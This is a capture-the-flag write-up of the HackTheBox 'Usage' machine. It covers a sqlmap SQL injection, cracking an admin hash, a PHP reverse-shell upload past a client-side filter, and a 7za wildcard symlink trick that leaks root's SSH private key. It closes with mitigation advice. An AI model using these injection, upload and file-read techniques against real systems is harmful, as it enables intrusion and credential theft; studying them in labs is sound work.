HackTheBox - Usage
Description:
Usage from HackTheBox is running a website vulnerable to an sql injection allowing us to dump the database and get a password hash, we crack it and login to an admin page running Laravel-admin
which is vulnerable to a file upload giving us an initial foothold. A password is then found in a config file of a user that can run a binary as sudo. We reverse engineer the file and find it running 7z with a wildcard allowing us to read any file in the system.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.18
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found two open ports, 22 running OpenSSh on Ubuntu, and port 80 running Nginx redirecting to usage.htb
also running on Ubuntu.
Let’s add usage.htb
to /etc/hosts
file before we continue.
Web
Let’s navigate to the website.
We are presented with a login page.
I tried some default credentials and basic sql injection but no luck.
Checking Wappalyzer
we see it’s a Laravel
application.
admin
We also find an admin page that goes to admin.usage.htb
, we add it to /etc/hosts
too and refresh the page.
I guess this is the admin portal for the website.
I also tried some default credentials but didn’t work.
Registration
There is a registration page, so let’s register a user.
Let’s login now.
This looks like a blog, but there are no links and the posts talk about server-side language penetration testing.
Forget password
One other page we haven’t visited yet is http://usage.htb/forget-password
I entered my email and I got this:
I got sent an password reset link.
Since the box doesn’t have internet access this won’t give us anything.
I tried some sql injections, first with single quote '
and got a server error.
This might indicate a sql injection vulnerability.
I added -- -
which is a comment in mysql rendering the rest of the query useless and got this:
We confirmed a sql injection vulnerability, time to exploit it.
SQL Map
We can use sqlmap
with the following options
--form
: Use theforget-password
form for testing--batch
: To use default actions and not ask us every time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ sqlmap -u http://usage.htb/forget-password --form --batch
___
__H__
___ ___[,]_____ ___ ___ {1.8.3#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program
[*] starting @ 09:53:25 /2024-04-25/
[09:53:25] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('XSRF-TOKEN=eyJpdiI6IjU...IjoiIn0%3D;laravel_session=eyJpdiI6IkZ...IjoiIn0%3D'). Do you want to use those [Y/n] Y
[09:53:29] [INFO] searching for forms
[1/1] Form:
POST http://usage.htb/forget-password
POST data: _token=BkFj77qOM3Ty3BC4SNedU4WeOV18kFSPtAsX0BiW&email=
do you want to test this form? [Y/n/q]
> Y
Edit POST data [default: _token=BkFj77qOM3Ty3BC4SNedU4WeOV18kFSPtAsX0BiW&email=] (Warning: blank fields detected): _token=BkFj77qOM3Ty3BC4SNedU4WeOV18kFSPtAsX0BiW&email=
do you want to fill blank fields with random values? [Y/n] Y
POST parameter '_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[09:53:32] [INFO] resuming back-end DBMS 'mysql'
[09:53:32] [INFO] using '/home/kali/.local/share/sqlmap/output/results-04252024_0953am.csv' as the CSV results file in multiple targets mode
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=mXkUU3V1Mzk5ir73XlvV72lwR2cJaPDkwFMTY5yD&email=test' AND 3072=(SELECT (CASE WHEN (3072=3072) THEN 3072 ELSE (SELECT 9560 UNION SELECT 6574) END))-- aPPR
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: _token=mXkUU3V1Mzk5ir73XlvV72lwR2cJaPDkwFMTY5yD&email=test' AND 8904=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- NnfP
---
do you want to exploit this SQL injection? [Y/n] Y
[09:53:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12
[09:53:43] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-04252024_0953am.csv'
It found that the database used is MySQL > 5.0.12
.
Now let’s search for the databases names.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ sqlmap -u http://usage.htb/forget-password --form --batch --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.8.3#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program
[*] starting @ 10:03:04 /2024-04-25/
[...] Redacted
---
do you want to exploit this SQL injection? [Y/n] Y
[10:03:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12
[10:03:21] [INFO] fetching database names
[10:03:21] [INFO] fetching number of databases
[10:03:21] [INFO] resumed: 3
[10:03:21] [INFO] resumed: information_schema
[10:03:21] [INFO] resumed: performance_schema
[10:03:21] [INFO] resumed: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
It found three databases, the one that interests us is usage_blog
.
Let’s dump the whole database.
1
sqlmap -u http://usage.htb/forget-password --form --batch --level 5 --risk 3 -D usage_blog --tables --dump
This can take a lot of time so go take a walk or prepare a meal and come back.
For slightly faster results use
sqlmap -u http://usage.htb/forget-password --form --batch --level 5 --risk 3 -D usage_blog -T admin_users -C password,name --dump
, This dumps the name and password columns from admin_users tables which is our target.
On the admin_users
table we find user Administrator
with the hash $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
Let’s crack the hash using hashcat with the mode 3200.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
hashcat -m 3200 admin.hash rockyou.txt
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH...fUPrL2
Time.Started.....: Thu Apr 25 11:14:15 2024 (28 secs)
Time.Estimated...: Thu Apr 25 11:14:43 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 110 H/s (12.91ms) @ Accel:1 Loops:1 Thr:16 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3072/14344384 (0.02%)
Rejected.........: 0/3072 (0.00%)
Restore.Point....: 1536/14344384 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1023-1024
Candidate.Engine.: Device Generator
Candidates.#1....: clover -> dangerous
We got the password!
Admin panel
Let’s navigate to admin.usage.htb
and see if we can log in.
We logged in successfully!
Foothold
On the dashboard we see version of PHP and Laravel, None of them seem to be vulnerable.
On the settings page we can change the avatar by uploading an image.
I smell a vulnerability here.
I uploaded a test image and found it get stored in /uploads/images/
Next I tried upload a php reverse shell, here is the one i used https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.
There is filter here, but I haven’t submitted the file so it seems it’s a client-side filter.
I renamed the file to shell.png
and tried again.
It worked, now I submit it and intercept it with burp suite.
We change the extension from png to php and forward the request.
Now if we navigate to /uploads/images/shell.php
we should trigger the file to run and get a shell on the listener.
Privilege Escalation
dash -> xander
If we check the home directory of dash
we see .ssh
directory that has an id_rsa
file, so we can use it to get an ssh connection.
We also see some monit
hidden files. Upon inspecting them we come across a password.
I tried sudo -l
with dash
but the password didn’t work.
Then I tried changing to user xander
and it worked
1
2
3
4
5
dash@usage:~$ su xander
Password:
xander@usage:/home/dash$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
xander@usage:/home/dash$
xander -> root
Checking our privileges with sudo -l
xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
We can run usage_management
as root.
I ran file
on it and it seems to be a binary executable.
1
2
xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
I ran the file with sudo and got this:
1
2
3
4
5
6
xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
We are presented with three option.
Ghidra
I transferred the file to my machine using scp xander@usage.htb:/usr/bin/usage_management ./
and opened it on ghidra
.
There are three functions, one for each option.
The reset admin password seemed interesting but it’s empty.
I checked the other functions and the BackupWebContent
(option 1) looked interesting.
The function uses 7za
with a wildcard.
1
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
I searched for 7z wildcard exploit
and found this :https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks#id-7z
Here the author suggests creating a file in the directory where the command is being executed, and make symbolic link with the file we want to read.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
xander@usage:/var/www/html$ touch @root.txt
xander@usage:/var/www/html$ ln -s /root/root.txt @root.txt
ln: failed to create symbolic link '@root.txt': File exists
xander@usage:/var/www/html$ ln -s /root/root.txt root.txt
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7302P 16-Core Processor (830F10),ASM,AES-NI)
Scanning the drive:
WARNING: No more files
15c54877a8f959cfc0880e2d380e21f4
2984 folders, 17960 files, 114776219 bytes (110 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20944
Files read from disk: 17960
Archive size: 54869447 bytes (53 MiB)
Scan WARNINGS for files and folders:
15c54877a8f959cfc0880e2d380e21f4 : No more files
----------------
Scan WARNINGS: 1
We got the flag, but let’s get a root shell.
We saw earlier that dash
has a private key, let’s hope it’s the same for root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
xander@usage:/var/www/html$ touch @id_rsa
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7302P 16-Core Processor (830F10),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54855145
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
Now we copy the key and clean it.
1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
Let’s connect.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ssh -i root_rsa root@usage.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Apr 25 12:03:09 PM UTC 2024
System load: 0.05908203125
Usage of /: 67.1% of 6.53GB
Memory usage: 27%
Swap usage: 0%
Processes: 236
Users logged in: 2
IPv4 address for eth0: 10.10.11.18
IPv6 address for eth0: dead:beef::250:56ff:feb9:7fc9
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Apr 8 13:17:47 2024 from 10.10.14.40
root@usage:~#
Prevention and Mitigation
SQL injection
The form should should add a solid input validation (a whitelisting permitted input values) and also use parameterized queries to separate user input from the query structure.
File upload
Allowing users to upload files is commonplace and doesn’t have to be dangerous as long as you take the right precautions.
In our case, laravel-admin v1.8.19 is the one vulnerable to the file upload CVE-2023-24249 allowing attackers to execute arbitrary code via a crafted PHP file.
In general, the most effective way to protect your own websites from these vulnerabilities is to implement all of the following practices:
- Check the file extension against a whitelist of permitted extensions rather than a blacklist of prohibited ones. It’s much easier to guess which extensions you might want to allow than it is to guess which ones an attacker might try to upload.
- Make sure the filename doesn’t contain any substrings that may be interpreted as a directory or a traversal sequence
(../)
. - Rename uploaded files to avoid collisions that may cause existing files to be overwritten.
- Do not upload files to the server’s permanent filesystem until they have been fully validated.
- As much as possible, use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms.
7z
The wild card in 7z
can be exploited to read files in the system, so avoid using it if possible, and always apply the principle of least privilege.
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).
Resources
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks#id-7z
https://portswigger.net/web-security/sql-injection#how-to-prevent-sql-injection
https://portswigger.net/web-security/file-upload#how-to-prevent-file-upload-vulnerabilities